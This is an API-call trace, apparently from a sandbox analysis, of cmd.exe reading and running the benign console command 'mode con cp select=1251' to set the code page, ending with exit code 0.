	[0247.240] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce342, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0247.240] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.240] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.240] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce344, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0247.241] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.241] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.241] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce346, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0247.241] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.241] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.241] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce348, cchWideChar=1 | out: lpWideCharStr="2") returned 1
	[0247.241] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.241] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.241] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1
	[0247.241] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.241] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.241] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0247.241] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.241] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.241] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0247.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0247.242] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.242] GetFileType (hFile=0xe8) returned 0x3
	[0247.242] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0247.242] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0247.242] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0247.242] GetFileType (hFile=0xf4) returned 0x3
	[0247.242] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0247.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4accc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25
	[0247.242] WriteFile (in: hFile=0xf4, lpBuffer=0x4accc320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x12f498, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesWritten=0x12f498*=0x18, lpOverlapped=0x0) returned 1
	[0247.242] GetProcessHeap () returned 0x220000
	[0247.242] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x4012) returned 0x23b310
	[0247.242] GetProcessHeap () returned 0x220000
	[0247.242] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b310 | out: hHeap=0x220000) returned 1
	[0247.242] _wcsicmp (_String1="mode", _String2=")") returned 68
	[0247.242] _wcsicmp (_String1="FOR", _String2="mode") returned -7
	[0247.242] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7
	[0247.242] _wcsicmp (_String1="IF", _String2="mode") returned -4
	[0247.242] _wcsicmp (_String1="IF/?", _String2="mode") returned -4
	[0247.243] _wcsicmp (_String1="REM", _String2="mode") returned 5
	[0247.243] _wcsicmp (_String1="REM/?", _String2="mode") returned 5
	[0247.243] GetProcessHeap () returned 0x220000
	[0247.243] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xb0) returned 0x239840
	[0247.243] GetProcessHeap () returned 0x220000
	[0247.243] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1a) returned 0x234630
	[0247.243] GetProcessHeap () returned 0x220000
	[0247.243] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x38) returned 0x236550
	[0247.244] GetConsoleOutputCP () returned 0x1b5
	[0247.244] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4accbfe0 | out: lpCPInfo=0x4accbfe0) returned 1
	[0247.244] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0247.244] GetConsoleTitleW (in: lpConsoleTitle=0x12f450, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.244] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0247.244] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0247.245] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0247.245] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0247.245] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0247.245] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0247.245] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0247.245] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0247.245] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0247.245] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0247.245] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0247.245] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0247.245] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0247.245] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0247.245] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0247.245] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0247.245] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0247.245] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0247.245] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0247.245] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0247.245] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0247.245] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0247.245] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0247.245] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0247.245] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0247.245] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0247.245] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0247.245] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0247.245] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0247.245] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0247.245] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0247.245] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0247.245] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0247.245] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0247.245] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0247.245] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0247.245] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0247.245] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0247.245] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0247.245] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0247.246] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0247.246] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0247.246] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0247.246] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0247.246] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0247.246] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0247.246] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0247.246] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0247.246] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0247.246] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0247.246] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0247.246] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0247.246] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0247.246] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0247.246] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0247.246] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0247.246] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0247.246] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0247.246] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0247.246] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0247.246] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0247.246] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0247.246] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0247.246] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0247.246] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0247.246] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0247.246] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0247.246] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0247.246] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0247.246] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0247.246] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0247.246] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0247.246] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0247.246] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0247.246] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0247.246] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0247.246] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0247.247] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0247.247] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0247.247] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0247.247] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0247.247] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0247.247] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0247.247] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0247.247] _wcsicmp (_String1="mode", _String2="FOR") returned 7
	[0247.247] _wcsicmp (_String1="mode", _String2="IF") returned 4
	[0247.247] _wcsicmp (_String1="mode", _String2="REM") returned -5
	[0247.247] GetProcessHeap () returned 0x220000
	[0247.247] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x218) returned 0x23aae0
	[0247.247] GetProcessHeap () returned 0x220000
	[0247.247] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x42) returned 0x239900
	[0247.247] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10
	[0247.247] GetProcessHeap () returned 0x220000
	[0247.247] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x420) returned 0x23b310
	[0247.247] SetErrorMode (uMode=0x0) returned 0x0
	[0247.247] SetErrorMode (uMode=0x1) returned 0x0
	[0247.247] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x23b320, lpFilePart=0x12ece0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x12ece0*="system32") returned 0x13
	[0247.247] SetErrorMode (uMode=0x0) returned 0x1
	[0247.247] GetProcessHeap () returned 0x220000
	[0247.247] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x23b310, Size=0x42) returned 0x23b310
	[0247.247] GetProcessHeap () returned 0x220000
	[0247.247] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b310) returned 0x42
	[0247.248] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4acbf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0247.248] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0247.248] GetProcessHeap () returned 0x220000
	[0247.248] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x104) returned 0x235bb0
	[0247.248] GetProcessHeap () returned 0x220000
	[0247.248] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1f8) returned 0x239c60
	[0247.253] GetProcessHeap () returned 0x220000
	[0247.253] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x239c60, Size=0x106) returned 0x239c60
	[0247.253] GetProcessHeap () returned 0x220000
	[0247.253] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x239c60) returned 0x106
	[0247.253] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4acbf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0247.253] GetProcessHeap () returned 0x220000
	[0247.253] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xe8) returned 0x239d80
	[0247.253] GetProcessHeap () returned 0x220000
	[0247.253] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x239d80, Size=0x7e) returned 0x239d80
	[0247.253] GetProcessHeap () returned 0x220000
	[0247.253] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x239d80) returned 0x7e
	[0247.255] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.255] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x12ea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ea50) returned 0x235cc0
	[0247.255] GetProcessHeap () returned 0x220000
	[0247.255] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x28) returned 0x234660
	[0247.255] FindClose (in: hFindFile=0x235cc0 | out: hFindFile=0x235cc0) returned 1
	[0247.255] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x12ea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ea50) returned 0x235cc0
	[0247.255] GetProcessHeap () returned 0x220000
	[0247.255] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234660, Size=0x8) returned 0x239950
	[0247.255] FindClose (in: hFindFile=0x235cc0 | out: hFindFile=0x235cc0) returned 1
	[0247.255] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1
	[0247.255] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2
	[0247.255] GetConsoleTitleW (in: lpConsoleTitle=0x12efa0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.255] GetProcessHeap () returned 0x220000
	[0247.255] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x21c) returned 0x23b370
	[0247.255] GetConsoleTitleW (in: lpConsoleTitle=0x23b380, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.256] GetProcessHeap () returned 0x220000
	[0247.256] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x23b370, Size=0x8a) returned 0x23b370
	[0247.256] GetProcessHeap () returned 0x220000
	[0247.256] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b370) returned 0x8a
	[0247.256] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - mode  con cp select=1251") returned 1
	[0247.256] GetProcessHeap () returned 0x220000
	[0247.256] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b370 | out: hHeap=0x220000) returned 1
	[0247.256] InitializeProcThreadAttributeList (in: lpAttributeList=0x12ed58, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x12ed18 | out: lpAttributeList=0x12ed58, lpSize=0x12ed18) returned 1
	[0247.256] UpdateProcThreadAttribute (in: lpAttributeList=0x12ed58, dwFlags=0x0, Attribute=0x60001, lpValue=0x12ed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x12ed58, lpPreviousValue=0x0) returned 1
	[0247.256] GetStartupInfoW (in: lpStartupInfo=0x12ee70 | out: lpStartupInfo=0x12ee70*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) 
	[0247.257] GetProcessHeap () returned 0x220000
	[0247.257] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x20) returned 0x234660
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0247.257] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0247.258] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0247.258] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0247.258] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0247.258] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0247.258] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0247.258] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0247.258] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0247.258] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0247.258] GetProcessHeap () returned 0x220000
	[0247.258] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x234660 | out: hHeap=0x220000) returned 1
	[0247.258] GetProcessHeap () returned 0x220000
	[0247.258] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x12) returned 0x238940
	[0247.258] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode  con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x12ed90*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode  con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x12ed40 | out: lpCommandLine="mode  con cp select=1251", lpProcessInformation=0x12ed40*(hProcess=0x54, hThread=0x50, dwProcessId=0x640, dwThreadId=0x644)) returned 1
	[0247.272] CloseHandle (hObject=0x50) returned 1
	[0247.273] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0247.273] GetProcessHeap () returned 0x220000
	[0247.273] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x238aa0 | out: hHeap=0x220000) returned 1
	[0247.273] GetEnvironmentStringsW () returned 0x238aa0*
	[0247.273] GetProcessHeap () returned 0x220000
	[0247.273] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xafc) returned 0x23b370
	[0247.273] FreeEnvironmentStringsW (penv=0x238aa0) returned 1
	[0247.273] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x777f0000
	[0247.273] GetProcAddress (hModule=0x777f0000, lpProcName="NtQueryInformationProcess") returned 0x778414a0
	[0247.273] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x12e648, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x12e648, ReturnLength=0x0) returned 0x0
	[0247.273] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffde000, lpBuffer=0x12e680, nSize=0x380, lpNumberOfBytesRead=0x12e640 | out: lpBuffer=0x12e680*, lpNumberOfBytesRead=0x12e640*=0x380) returned 1
	[0247.273] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0248.067] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x12ec88 | out: lpExitCode=0x12ec88*=0x0) returned 1
	[0248.067] CloseHandle (hObject=0x54) returned 1
	[0248.067] _vsnwprintf (in: _Buffer=0x12eef8, _BufferCount=0x13, _Format="%08X", _ArgList=0x12ec98 | out: _Buffer="00000000") returned 8
	[0248.067] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0248.067] GetProcessHeap () returned 0x220000
	[0248.067] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b370 | out: hHeap=0x220000) returned 1
	[0248.067] GetEnvironmentStringsW () returned 0x23e9b0*
	[0248.068] GetProcessHeap () returned 0x220000
	[0248.068] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xb22) returned 0x23f4e0
	[0248.068] FreeEnvironmentStringsW (penv=0x23e9b0) returned 1
	[0248.068] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0248.068] GetProcessHeap () returned 0x220000
	[0248.068] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f4e0 | out: hHeap=0x220000) returned 1
	[0248.068] GetEnvironmentStringsW () returned 0x23e9b0*
	[0248.068] GetProcessHeap () returned 0x220000
	[0248.068] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xb22) returned 0x23f4e0
	[0248.068] FreeEnvironmentStringsW (penv=0x23e9b0) returned 1
	[0248.068] GetProcessHeap () returned 0x220000
	[0248.068] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x238940 | out: hHeap=0x220000) returned 1
	[0248.068] DeleteProcThreadAttributeList (in: lpAttributeList=0x12ed58 | out: lpAttributeList=0x12ed58) 
	[0248.068] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1
	[0248.068] _get_osfhandle (_FileHandle=1) returned 0xf4
